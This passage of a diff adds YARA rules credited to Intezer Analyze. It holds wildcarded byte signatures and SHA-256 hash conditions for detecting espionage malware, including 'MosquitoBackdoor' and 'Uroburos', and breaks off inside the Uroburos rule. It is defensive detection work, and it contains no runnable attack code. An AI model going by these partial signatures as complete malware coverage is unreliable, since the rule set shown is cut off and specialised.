+		$block_9 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_10 = { 0F BE ?? ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 7C }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_12 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_14 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? C7 }
+		$block_15 = { 8B ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_17 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_19 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_20 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 73 }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_22 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_23 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_24 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? E9 }
+		$block_25 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_26 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_28 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_29 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_30 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_31 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_32 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_33 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_34 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_35 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 85 ?? 74 }
+		$block_36 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_37 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 66 ?? ?? ?? ?? EB }
+		$block_38 = { 0F B6 ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 8B ?? 88 }
+		$block_39 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? ?? ?? 0F 87 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_41 = { 48 ?? ?? ?? ?? 8B ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 39 ?? ?? ?? 7E }
+		$block_42 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_43 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_44 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 77 }
+		$block_45 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_46 = { 8B ?? ?? ?? FF C? 89 ?? ?? ?? 0F B7 ?? ?? ?? 39 ?? ?? ?? 0F 83 }
+		$block_47 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_48 = { 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 75 }
+		$block_49 = { 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_51 = { 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_52 = { 8B ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_53 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_54 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_55 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 85 }
+		$block_56 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_57 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7F }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_59 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_60 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 8E }
+		$block_61 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_62 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_63 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_64 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_65 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 83 }
+		$block_66 = { B2 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_67 = { 8B ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_69 = { 33 ?? 8B ?? ?? ?? F7 ?? ?? ?? FF C? 0F AF ?? ?? ?? 89 }
+		$block_70 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 3B ?? 7D }
+		$block_71 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 85 }
+		$block_72 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_73 = { 48 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_74 = { 0F B7 ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_75 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 39 ?? ?? ?? 0F 85 }
+		$block_76 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 }
+		$block_78 = { 8B ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_80 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 75 }
+		$block_81 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_82 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+		$block_83 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_84 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "af0e455f640b621c50d5c11efc3c8649691a9a661fa1bcf658aae48c007ff3c4" or
+		24 of them
+}
+
+rule MosquitoBackdoor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_1 = { 5? FF F? 02 ?? 89 ?? ?? ?? ?? ?? 04 ?? 6E 00 ?? ?? 10 ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 02 ?? CC 8B }
+		$block_2 = { 8B ?? ?? 33 ?? 6A ?? 4? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? 5? 72 }
+		$block_3 = { F4 64 ?? 00 ?? ?? 00 ?? ?? 8B ?? ?? EC 83 ?? ?? 08 ?? ?? ?? 5? 68 ?? ?? ?? ?? 6E 83 ?? ?? 72 }
+		$block_4 = { 08 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 5? 0C ?? CC 8B ?? 68 ?? ?? ?? ?? 8B ?? 10 ?? 00 ?? ?? 73 }
+		$block_5 = { 5? 05 ?? ?? ?? ?? 00 ?? 6D CC 8B ?? ?? ?? ?? ?? 8B ?? 8D ?? ?? ?? ?? ?? FF 1? 83 ?? ?? 4? 73 }
+		$block_6 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 5? 8B ?? 5? 5? 5? 8B ?? ?? 5? 8B ?? 5? 8B ?? ?? 3B ?? 0F 82 }
+		$block_7 = { E8 ?? ?? ?? ?? 5? FF 7? ?? 8B ?? 8B ?? 68 ?? ?? ?? ?? FF 5? ?? 8B ?? ?? 2B ?? 83 ?? ?? 0F 82 }
+		$block_8 = { FF 7? ?? ?? 39 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 0F 43 ?? ?? ?? 6A ?? 5? 5? FF 7? ?? ?? FF 1? }
+		$block_9 = { 89 ?? FF 7? ?? ?? 68 ?? ?? ?? ?? 4? FC 30 ?? FF 8? ?? ?? ?? ?? 5? 5? 15 ?? ?? ?? ?? 5? 74 }
+		$block_10 = { 00 ?? CC 00 ?? ?? EC 8B ?? ?? 5? 00 ?? 8B ?? 85 ?? 00 ?? 63 ?? 5? A1 ?? ?? ?? ?? 01 ?? 70 }
+		$block_11 = { EC 8B ?? ?? A3 ?? ?? ?? ?? 5? 8B ?? ?? 00 ?? ?? 00 ?? ?? ?? 31 ?? 68 ?? ?? ?? ?? 04 ?? 75 }
+		$block_12 = { C6 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 8D ?? ?? ?? 0F 43 ?? ?? ?? 5? 5? E9 }
+		$block_13 = { 6A ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF 7? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_14 = { 83 ?? ?? ?? ?? 5? 0F 43 ?? ?? ?? 5? 6A ?? 6A ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 74 }
+		$block_15 = { 00 ?? ?? 0F C1 ?? 00 ?? 32 ?? ?? 4? 04 ?? FC 00 ?? ?? 10 ?? ?? 00 ?? ?? ?? 89 ?? ?? 9? }
+		$block_16 = { 8B ?? 5? FF 7? ?? 8B ?? FF 5? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 3B ?? ?? 0F 85 }
+		$block_17 = { 5? 89 ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? FF 6? ?? EC 6E 00 ?? ?? 74 }
+		$block_18 = { 83 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_19 = { 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_20 = { EC 83 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 80 7? ?? ?? 5? B1 ?? 5? 8B ?? 88 ?? ?? 75 }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8B ?? 83 ?? ?? ?? ?? ?? ?? 0F 43 ?? ?? ?? ?? ?? 8B ?? 5? FF 5? }
+		$block_22 = { CC 8B ?? ?? ?? 00 ?? ?? 85 ?? 4? 4? 8B ?? 8D ?? ?? 15 ?? ?? ?? ?? 8B ?? ?? 74 }
+		$block_23 = { 6A ?? 5? 6A ?? 5? 8D ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 2B ?? 33 ?? D1 ?? 8D ?? ?? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 5? 89 }
+		$block_25 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_26 = { 8B ?? ?? 0F AF ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 6B ?? ?? 8B ?? ?? 8B ?? ?? 89 }
+		$block_27 = { 8B ?? 2B ?? 5? 8B ?? ?? 3B ?? 0F 42 ?? 83 ?? ?? 2B ?? ?? 2B ?? 3B ?? 0F 86 }
+		$block_28 = { 4? 04 ?? 9? 00 ?? 3F 24 ?? 00 ?? 61 64 ?? ?? 01 ?? ?? 00 ?? ?? ?? 4? 73 }
+		$block_29 = { 6A ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_30 = { E8 ?? ?? ?? ?? CC 5? 8B ?? 5? 8B ?? 5? 5? 8B ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_31 = { 4? 68 ?? ?? ?? ?? 89 ?? ?? F4 64 ?? ?? ?? 00 ?? 20 ?? CC 85 ?? FF 1? }
+		$block_32 = { 8B ?? CC 5? 5? A3 ?? ?? ?? ?? 89 ?? 00 ?? ?? ?? ?? ?? 4? 3F 24 ?? 75 }
+		$block_33 = { 84 ?? ?? 00 ?? 10 ?? 00 ?? 01 ?? 33 ?? 06 03 ?? ?? ?? ?? ?? 4? 6F }
+		$block_34 = { 8B ?? 64 ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? CC 8B ?? 8B ?? 8B ?? 75 }
+		$block_35 = { E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 8D ?? ?? ?? 0F 43 ?? ?? ?? 5? FF 7? }
+		$block_36 = { 83 ?? ?? ?? ?? 0F 43 ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? EB }
+		$block_37 = { 8B ?? ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_38 = { 4? C4 ?? ?? C0 ?? ?? ?? ?? ?? ?? 31 ?? 0C ?? 4? CC CC CC CC CC }
+		$block_39 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? FF 4? ?? 0F 85 }
+		$block_40 = { EC 5? 8D ?? ?? 89 ?? ?? ?? ?? ?? F4 64 ?? 00 ?? C1 ?? ?? 75 }
+		$block_41 = { 63 ?? 00 ?? 4? FC 8B ?? 08 ?? ?? ?? ?? ?? 6A ?? 00 ?? 5? }
+		$block_42 = { 8B ?? ?? ?? 89 ?? ?? D2 ?? ?? ?? ?? ?? 00 ?? 6C 0F 84 }
+		$block_43 = { 8D ?? ?? 16 00 ?? ?? F4 89 ?? ?? 4? 8B ?? ?? 00 ?? 72 }
+		$block_44 = { EC 1D ?? ?? ?? ?? 00 ?? 8B ?? ?? ?? ?? ?? D0 ?? ?? 8B }
+		$block_45 = { 5? 8B ?? 5? 8B ?? 5? 5? 8B ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_46 = { 00 ?? ?? 83 ?? ?? 89 ?? CC CE FF 6? ?? 00 ?? ?? 5? }
+		$block_47 = { 8B ?? ?? CE C5 ?? ?? 4? 10 ?? ?? ?? 00 ?? ?? 5? 6E }
+		$block_48 = { 4? 61 00 ?? ?? C7 ?? ?? ?? ?? ?? ?? C9 02 ?? 4? }
+		$block_49 = { 89 ?? ?? 64 ?? 0C ?? CE 64 ?? ?? 0F 40 ?? ?? CF }
+		$block_50 = { 8B ?? ?? 10 ?? C1 ?? ?? 4? 30 ?? 00 ?? 4? FC 74 }
+		$block_51 = { FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9" or
+		hash.sha256(0, filesize) == "e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d" or
+		12 of them
+}
+
+rule Uroburos {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF 7? ?? 8B ?? 69 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 03 ?? 8D ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? 2B ?? 8B ?? ?? 88 ?? ?? 8B ?? ?? C6 ?? ?? ?? 33 ?? 75 }
+		$block_2 = { 8B ?? ?? ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? ?? ?? 5? 5? 0F 94 ?? 5? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_3 = { 8B ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? ?? 5? 8B ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 0F BE ?? 83 ?? ?? 75 }
+		$block_6 = { 0F B6 ?? ?? C1 ?? ?? 05 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? EB }
+		$block_7 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? C1 ?? ?? 81 C? ?? ?? ?? ?? 8B ?? ?? 89 }
+		$block_8 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_9 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? 8B ?? ?? 88 ?? ?? ?? ?? ?? E9 }
+		$block_10 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_11 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_12 = { D9 ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? DB ?? ?? ?? D9 ?? D8 ?? D8 ?? DF ?? F6 ?? ?? 0F 8B }
+		$block_13 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? 6B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? 8D ?? ?? 89 ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? 85 ?? 75 }
+		$block_16 = { 8B ?? ?? 0F B7 ?? 5? 8B ?? ?? 5? 8B ?? ?? 81 C? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 }
+		$block_17 = { 0F B6 ?? ?? F7 ?? 1B ?? 83 ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 69 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_20 = { 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 88 ?? ?? 0F B6 ?? ?? 83 ?? ?? 0F 85 }
+		$block_21 = { 0F B7 ?? ?? 83 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_22 = { 8B ?? 8B ?? 8B ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? 8B ?? 8B ?? 33 ?? 85 ?? 0F 94 ?? 89 }
+		$block_23 = { 8B ?? ?? ?? C1 ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? 89 ?? ?? ?? 0F 8E }
+		$block_24 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_25 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8D ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 7C }
+		$block_26 = { 8A ?? ?? 5? 8B ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? EB }
+		$block_27 = { 0F B6 ?? ?? F7 ?? 1B ?? 83 ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_28 = { 8B ?? ?? 0F AF ?? ?? 8B ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? EB }
+		$block_29 = { 6A ?? 6A ?? 6A ?? 6A ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_30 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_31 = { 8B ?? ?? ?? 5? 5? 8B ?? ?? ?? 5? 8B ?? ?? ?? 8B ?? 5? C1 ?? ?? 0F B7 ?? 2B ?? C7 }
+		$block_32 = { 8B ?? ?? 69 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_33 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_34 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_35 = { 8B ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_36 = { 8B ?? ?? ?? 8B ?? 0B ?? 89 ?? ?? ?? 5? 23 ?? 5? 33 ?? 85 ?? 5? 0F 95 ?? 5? C3 }
+		$block_37 = { 83 ?? ?? 5? 8B ?? ?? ?? 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? ?? 5? 89 ?? ?? ?? 0F 8D }
+		$block_38 = { 83 ?? ?? ?? 83 ?? ?? D1 ?? 0F B7 ?? 0F B7 ?? 85 ?? 8D ?? ?? ?? 89 ?? ?? 76 }
+		$block_39 = { 2B ?? ?? 8B ?? ?? 89 ?? ?? 33 ?? 85 ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 0F 86 }
+		$block_40 = { 0F B7 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 39 ?? ?? 73 }
+		$block_41 = { 6A ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? 85 ?? 74 }
+		$block_42 = { 8B ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? 7C }
+		$block_43 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 33 ?? 83 ?? ?? 0F 95 ?? 83 ?? ?? 8B ?? EB }
+		$block_44 = { 8B ?? ?? 0F B6 ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 77 }
+		$block_45 = { 8B ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? F7 ?? 1B ?? 83 ?? ?? 83 ?? ?? EB }
